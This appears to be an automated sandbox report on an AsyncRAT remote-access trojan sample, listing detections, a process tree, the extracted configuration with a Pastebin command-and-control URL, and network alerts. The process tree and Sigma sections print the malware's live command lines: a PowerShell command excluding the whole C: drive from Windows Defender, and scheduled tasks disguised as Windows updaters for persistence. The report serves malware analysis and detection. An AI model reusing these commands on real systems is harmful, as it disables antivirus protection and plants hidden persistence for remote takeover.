Edit tour

Windows Analysis Report
rrats.exe

Overview

General Information

Sample name:	rrats.exe
Analysis ID:	1571504
MD5:	a2bdb024c98b7e8d3d06fc86e110d204
SHA1:	2442360d37bf7e60b0d20c447bf5a0b51635a1d4
SHA256:	72cd6d490f03122c90b4a52c8bc7fb5b938123eaf4926b5cc5cee14f44bef3cf
Tags:	exeuser-lontze7
Infos:

Detection

AsyncRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Sigma detected: Schedule system process

System process connects to network (likely due to code injection or exploit)

Yara detected AsyncRAT

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

Connects to a pastebin service (likely for C&C)

Drops PE files with benign system names

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Protects its processes via BreakOnTermination flag

Sigma detected: Cmd.EXE Missing Space Characters Execution Anomaly

Sigma detected: Files With System Process Name In Unsuspected Locations

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: System File Execution Location Anomaly

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses schtasks.exe or at.exe to add and modify task schedules

Yara detected Generic Downloader

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to communicate with device drivers

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Drops PE files

Enables debug privileges

File is packed with WinRar

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found evasive API chain (date check)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Powershell Defender Exclusion

Sigma detected: Suspicious Schtasks From Env Var Folder

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

rrats.exe (PID: 5780 cmdline: "C:\Users\user\Desktop\rrats.exe" MD5: A2BDB024C98B7E8D3D06FC86E110D204)

cmd.exe (PID: 3812 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\RarSFX0\a.bat" " MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6664 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

a.exe (PID: 1372 cmdline: a.exe -p1234 MD5: 7107F3FB53F9F3EAF3B95FD857F7AEE9)

rrat.exe (PID: 1968 cmdline: "C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe" MD5: 3D91C31A52BE4E262F7F18272294ED99)

cmd.exe (PID: 5712 cmdline: "C:\Windows\System32\cmd.exe" /c powershell Add-MpPreference -ExclusionPath C:\ MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2180 cmdline: powershell Add-MpPreference -ExclusionPath C:\ MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 7212 cmdline: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Windows\WindowsUpdater" /tr '"C:\Users\user\AppData\Roaming\Explorer.exe"' & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7220 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7292 cmdline: schtasks /create /f /sc onlogon /rl highest /tn "Windows\WindowsUpdater" /tr '"C:\Users\user\AppData\Roaming\Explorer.exe"' MD5: 48C2FE20575769DE916F48EF0676A965)

cmd.exe (PID: 7228 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpE75F.tmp.bat"" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7264 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

timeout.exe (PID: 7324 cmdline: timeout 3 MD5: 976566BEEFCCA4A159ECBDB2D4B1A3E3)

Explorer.exe (PID: 7412 cmdline: "C:\Users\user\AppData\Roaming\Explorer.exe" MD5: 3D91C31A52BE4E262F7F18272294ED99)

Explorer.exe (PID: 7356 cmdline: C:\Users\user\AppData\Roaming\Explorer.exe MD5: 3D91C31A52BE4E262F7F18272294ED99)

cmd.exe (PID: 7492 cmdline: "C:\Windows\System32\cmd.exe" /Cschtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdate" /tr "C:\Users\user\AppData\Local\explore.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7500 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7588 cmdline: schtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdate" /tr "C:\Users\user\AppData\Local\explore.exe" MD5: 48C2FE20575769DE916F48EF0676A965)

cmd.exe (PID: 7512 cmdline: "C:\Windows\System32\cmd.exe" /Cschtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdaters" /tr "cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7540 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

schtasks.exe (PID: 7596 cmdline: schtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdaters" /tr "cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\" MD5: 48C2FE20575769DE916F48EF0676A965)

explore.exe (PID: 7636 cmdline: C:\Users\user\AppData\Local\explore.exe MD5: 3D91C31A52BE4E262F7F18272294ED99)

cmd.exe (PID: 7652 cmdline: cmd.exe /C powershell Add-MpPreference -ExclusionPath C:" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7692 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7748 cmdline: powershell Add-MpPreference -ExclusionPath C:" MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
AsyncRAT	AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions that may cause harm to the victims computer. In addition, AsyncRAT can be delivered via various methods such as spear-phishing, malvertising, exploit kit and other techniques.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/asyncrat-onenote-dropper https://aidenmitchell.ca/asyncrat-via-vbs/ https://assets.virustotal.com/reports/2021trends.pdf https://axmahr.github.io/posts/asyncrat-detection/ https://blog.checkpoint.com/research/november-2023s-most-wanted-malware-new-asyncrat-campaign-discovered-while-fakeupdates-re-entered-the-top-ten-after-brief-hiatus/	https://malpedia.caad.fkie.fraunhofer.de/details/win.asyncrat

Malware Configuration

Threatname: AsyncRAT

{"Mutex": "RRAT_nMo7Zfs0N", "Certificate": "MIIE8jCCAtqgAwIBAgIQAP1hzmrgL5qNkPrA8fqq+zANBgkqhkiG9w0BAQ0FADAaMRgwFgYDVQQDDA9Bc3luY1JBVCBTZXJ2ZXIwIBcNMjAwNTA3MTgyNTI2WhgPOTk5OTEyMzEyMzU5NTlaMBoxGDAWBgNVBAMMD0FzeW5jUkFUIFNlcnZlcjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAIIo9I64dBM7+4GawVLepf4oWhJAOY/dJ4gs5A8ivFPxJKpcXVNbUAF3J8kQGcQXQ9rP3T9mI6kK9FQVIHkQHkQ9CujdjULUw48/DnhM6TxtZKGAPNMceY6UjTOmvEASzwOzsIG16akW9RY2S4wbu2VRg7rkU9eiY3rtqt16/eJZgVZHWiO4hjkNgUyJCbkgxceew6xcmqQFaSAAcohOdaUJepuO6LLkt+rbwLIlCASIvM53oqu2eNL8Xk5/2bP2dhKTBfX/aD9xsfAN1BacEg5QcmwZgOeP8JJUC3nWLwXq8tRMPeTPYp9veHaQn9wWst6Rm3rDAh5bYbLxWNj4wi1stiAJ0yk0/+XXL5IQyCPfW/Q5oFYw+hhDiGFJQfim2ZfBvOjjoPVDdovpWp90c87gaiWGZbzLSedTomNfGcC36wUagtkKBXPFbcv4eWIXoPdwSjPk5LgJKgY+0g8iOCzawN9vIzUmkb3LPDwiluIqCOvqmUeAlrkthBhFJCOdfylNa3h4yDAsaZ+skQJle/YoF8AjBn0xAXsX1Q67/FSRUNDosuU+dqIZrii7jP8Qqc2F663sGamumrSAl3PXBL+UhVYoqkQqZG/D6e4qllcwH+dXBB27TMqY3b+xCv+slaraW2OIpYLQvTxGurpRF+BiCClZ9R0saYV2aSHBJW0rAgMBAAGjMjAwMB0GA1UdDgQWBBSjj9Cw11x4A95sxB4xy2LBe/0D8DAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBDQUAA4ICAQBx9/VPQZFmIlqEl6QlR1lrToLbBdvksyr90Q/6LdGj9jlFfYpuzJjoSZ6UWYXifwEPHAIuaEqAzb91WeRkLgW6foTLlOOMu7fGFxi895huFT/QKfSUiKIRNxS8sM+/vBBz3YtvhehQaabSomOzl93/V5VJDt0e3xaANUeuVmnUlE1OMWWM0qRrGJtd7F8fE5Uk/rh7gIA/o8maQECpxpyHL1KTdcxdC3B+GyNQHYqiU9F/wRK5Zpx1+3YJ7162KhWtpzlm8iaVQToY3k8GPZkwj8sDRkuPpCzhDw3aHNtsAQmY0JEjBJcPAVCZ+/VzSboE+auT58BjwUf2DQRi2Xzh2jc/G08yvViXL4N88ZnK9QTiyMi50TFHBiqIizfDHL2YDJg2XpatRul49SPTxmIuwUt/3Wljz3kn/UM8MpcXPZbbzZMIYPjTiBqo9DijlBa/6JP4gtfzmgz6LCSv4wRGKR/9/Xkese/mE43zVLZopDMDn3tiPq8jobJ+2UAmm/V4WeRu3SiVn54aalDW3y9aWXpJhBXhldW+mF3q596n79OZDUNHZeor1Q3IFrXHZ/7zv9gk6Y5H96aQYUSEchAJikxVPk9Y5fygR16QG0U9sx0+7vTots9ioqvm7XMa+5xfZ+qk35RuiNqSlOY66mLEO0vex8cFFp3rvGj89VqD4g==", "Server Signature": "ZAEVYE4+WDbUbphyNWIlYDNiT/0G1m9oCuNRmqApkPq6DK43FO9IDy0E8zAIsJqQGMPgP1NzlXR2kcsyXklHOExDxYS3BgDNGipVUm+7oBSM9xIUV90aAwMlMzGtD/d5LKJ50z3PIis8Nj9WXzSPSL1/AbQ9Lq13L9V7jdRZiDkVQb2sLWoUErXM4eM0zmtCIpvRbO6yvBr/zUh3mKmOtugjkXGwE7CMEWCCB4fnfJm4tKYpDle+WxRa/ZfioEFdHTi9ZgzDLBvOWbQZWJMVvrlkXNZ7ENh/Ugpd+1rggG0z06CRTxmnEULOb+ej2kTU57iWbicoZRsme2t5XSwWmnD6OTmX1/mlgn9YnRFiqiL1GZlkNhXSuLUMELD7FV3L7xO86rjZLt8dX+BrHCZCzFF+3yzI7IEnpIf5Lmr+Q29LgsdB+ZUeCIBGnJ8GinuDNlijxi9AWzYj3Nmukgv2ltukS1k8021CWQu6TRKJXURqrECPkCwdt4z8i3A/3ojdz9AwFyK4tXUop7fkL++8lwinbMBXgxDLcXd/y+nmv34okEGRYMH5VUz1v6QIrfHhyYHSiQ7NqQ5953KaE+u9FN0JXCtZxmd2WiW/aoYw3ob7HIexuk0ytURxvG52YyVfdMuzhqe9QDc8U4MkkkOO4eQK2F/5q/iG99dyHrKwVek=", "External_config_on_Pastebin": "http://pastebin.com/raw/hbwHfEg3"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\explore.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
C:\Users\user\AppData\Local\explore.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\explore.exe	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xe765:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xe765:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
C:\Users\user\AppData\Roaming\Explorer.exe	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
C:\Users\user\AppData\Roaming\Explorer.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Roaming\Explorer.exe	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xe765:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Click to see the 4 entries

Memory Dumps

Source	Rule	Description	Author	Strings
00000010.00000002.4490902100.0000000002B05000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x3cce:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000004.00000002.2106054072.0000000000EB9000.00000004.00000001.01000000.00000009.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x12cd1:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000005.00000000.2033237516.0000000000202000.00000002.00000001.01000000.0000000B.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xe565:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000005.00000002.2089096502.0000000002571000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000005.00000002.2089096502.0000000002571000.00000004.00000800.00020000.00000000.sdmp	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x2a082:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
00000005.00000002.2089096502.00000000026D6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
Process Memory Space: a.exe PID: 1372	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: a.exe PID: 1372	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
Process Memory Space: a.exe PID: 1372	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x17147:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Process Memory Space: rrat.exe PID: 1968	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: rrat.exe PID: 1968	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
Process Memory Space: rrat.exe PID: 1968	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x198c4:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x296c0:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM 0x3532d:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Process Memory Space: Explorer.exe PID: 7356	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
Process Memory Space: Explorer.exe PID: 7356	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0x1e52a:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
Click to see the 14 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
5.0.rrat.exe.200000.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
5.0.rrat.exe.200000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.0.rrat.exe.200000.0.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xe765:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
5.2.rrat.exe.26db1a0.0.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
5.2.rrat.exe.26db1a0.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
5.2.rrat.exe.26db1a0.0.unpack	INDICATOR_SUSPICIOUS_EXE_ASEP_REG_Reverse	Detects file containing reversed ASEP Autorun registry keys	ditekSHen	0xc965:$s1: nuR\noisreVtnerruC\swodniW\tfosorciM
5.2.rrat.exe.26db1a0.0.raw.unpack	JoeSecurity_AsyncRAT	Yara detected AsyncRAT	Joe Security
5.2.rrat.exe.26db1a0.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
Click to see the 3 entries

Sigma Signatures

System Summary

Sigma detected: Cmd.EXE Missing Space Characters Execution Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /Cschtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdate" /tr "C:\Users\user\AppData\Local\explore.exe", CommandLine: "C:\Windows\System32\cmd.exe" /Cschtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdate" /tr "C:\Users\user\AppData\Local\explore.exe", CommandLine|base64offset|contains: +, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\Explorer.exe, ParentImage: C:\Users\user\AppData\Roaming\Explorer.exe, ParentProcessId: 7356, ParentProcessName: Explorer.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /Cschtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdate" /tr "C:\Users\user\AppData\Local\explore.exe", ProcessId: 7492, ProcessName: cmd.exe

Sigma detected: Files With System Process Name In Unsuspected Locations

Source: File created

Author: Sander Wiebing, Tim Shelton, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe, ProcessId: 1968, TargetFilename: C:\Users\user\AppData\Roaming\Explorer.exe

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Windows\WindowsUpdater" /tr '"C:\Users\user\AppData\Roaming\Explorer.exe"' & exit, CommandLine: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Windows\WindowsUpdater" /tr '"C:\Users\user\AppData\Roaming\Explorer.exe"' & exit, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe, ParentProcessId: 1968, ParentProcessName: rrat.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Windows\WindowsUpdater" /tr '"C:\Users\user\AppData\Roaming\Explorer.exe"' & exit, ProcessId: 7212, ProcessName: cmd.exe

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell Add-MpPreference -ExclusionPath C:\, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell Add-MpPreference -ExclusionPath C:\, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\RarSFX1\rrat.exe, ParentProcessId: 1968, ParentProcessName: rrat.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Add-MpPreference -ExclusionPath C:\, ProcessId: 5712, ProcessName: cmd.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: C:\Users\user\AppData\Roaming\Explorer.exe, CommandLine: C:\Users\user\AppData\Roaming\Explorer.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\Explorer.exe, NewProcessName: C:\Users\user\AppData\Roaming\Explorer.exe, OriginalFileName: C:\Users\user\AppData\Roaming\Explorer.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1068, ProcessCommandLine: C:\Users\user\AppData\Roaming\Explorer.exe, ProcessId: 7356, ProcessName: Explorer.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: schtasks /create /f /sc onlogon /rl highest /tn "Windows\WindowsUpdater" /tr '"C:\Users\user\AppData\Roaming\Explorer.exe"' , CommandLine: schtasks /create /f /sc onlogon /rl highest /tn "Windows\WindowsUpdater" /tr '"C:\Users\user\AppData\Roaming\Explorer.exe"' , CommandLine|base64offset|contains: mj,, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Windows\WindowsUpdater" /tr '"C:\Users\user\AppData\Roaming\Explorer.exe"' & exit, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7212, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks /create /f /sc onlogon /rl highest /tn "Windows\WindowsUpdater" /tr '"C:\Users\user\AppData\Roaming\Explorer.exe"' , ProcessId: 7292, ProcessName: schtasks.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell Add-MpPreference -ExclusionPath C:\, CommandLine: powershell Add-MpPreference -ExclusionPath C:\, CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Add-MpPreference -ExclusionPath C:\, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 5712, ParentProcessName: cmd.exe, ProcessCommandLine: powershell Add-MpPreference -ExclusionPath C:\, ProcessId: 2180, ProcessName: powershell.exe

Sigma detected: Proxy Execution Via Explorer.exe

Source: Process started

Author: Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative: Data: Command: "C:\Users\user\AppData\Roaming\Explorer.exe" , CommandLine: "C:\Users\user\AppData\Roaming\Explorer.exe" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\Explorer.exe, NewProcessName: C:\Users\user\AppData\Roaming\Explorer.exe, OriginalFileName: C:\Users\user\AppData\Roaming\Explorer.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\tmpE75F.tmp.bat"", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7228, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Users\user\AppData\Roaming\Explorer.exe" , ProcessId: 7412, ProcessName: Explorer.exe

Persistence and Installation Behavior

Sigma detected: Schedule system process

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /Cschtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdaters" /tr "cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\" , CommandLine: "C:\Windows\System32\cmd.exe" /Cschtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdaters" /tr "cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\" , CommandLine|base64offset|contains: +, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user\AppData\Roaming\Explorer.exe, ParentImage: C:\Users\user\AppData\Roaming\Explorer.exe, ParentProcessId: 7356, ParentProcessName: Explorer.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /Cschtasks /create /f /sc ONIDLE /i 1 /rl highest /tn "Windows\WinUpdaters" /tr "cmd.exe /C powershell Add-MpPreference -ExclusionPath C:\" , ProcessId: 7512, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-09T14:12:40.786601+0100	2803305	3	Unknown Traffic	192.168.2.5	49760	172.67.19.24	80	TCP
2024-12-09T14:12:53.020544+0100	2803305	3	Unknown Traffic	192.168.2.5	49795	172.67.19.24	443	TCP
2024-12-09T14:13:02.207565+0100	2803305	3	Unknown Traffic	192.168.2.5	49819	172.67.19.24	443	TCP
2024-12-09T14:13:08.614808+0100	2803305	3	Unknown Traffic	192.168.2.5	49836	172.67.19.24	80	TCP
2024-12-09T14:13:11.467632+0100	2803305	3	Unknown Traffic	192.168.2.5	49844	172.67.19.24	443	TCP
2024-12-09T14:13:20.624120+0100	2803305	3	Unknown Traffic	192.168.2.5	49869	172.67.19.24	443	TCP
2024-12-09T14:13:29.787528+0100	2803305	3	Unknown Traffic	192.168.2.5	49894	172.67.19.24	443	TCP
2024-12-09T14:13:36.117241+0100	2803305	3	Unknown Traffic	192.168.2.5	49911	172.67.19.24	80	TCP
2024-12-09T14:13:38.962820+0100	2803305	3	Unknown Traffic	192.168.2.5	49919	172.67.19.24	443	TCP
2024-12-09T14:13:48.479837+0100	2803305	3	Unknown Traffic	192.168.2.5	49942	172.67.19.24	443	TCP
2024-12-09T14:13:54.927268+0100	2803305	3	Unknown Traffic	192.168.2.5	49959	172.67.19.24	80	TCP
2024-12-09T14:13:57.774564+0100	2803305	3	Unknown Traffic	192.168.2.5	49968	172.67.19.24	443	TCP
2024-12-09T14:14:06.899015+0100	2803305	3	Unknown Traffic	192.168.2.5	49994	172.67.19.24	443	TCP
2024-12-09T14:14:13.630369+0100	2803305	3	Unknown Traffic	192.168.2.5	50010	172.67.19.24	80	TCP
2024-12-09T14:14:20.317839+0100	2803305	3	Unknown Traffic	192.168.2.5	50021	172.67.19.24	80	TCP
2024-12-09T14:14:26.523182+0100	2803305	3	Unknown Traffic	192.168.2.5	50023	172.67.19.24	80	TCP
2024-12-09T14:14:34.583291+0100	2803305	3	Unknown Traffic	192.168.2.5	50026	172.67.19.24	80	TCP
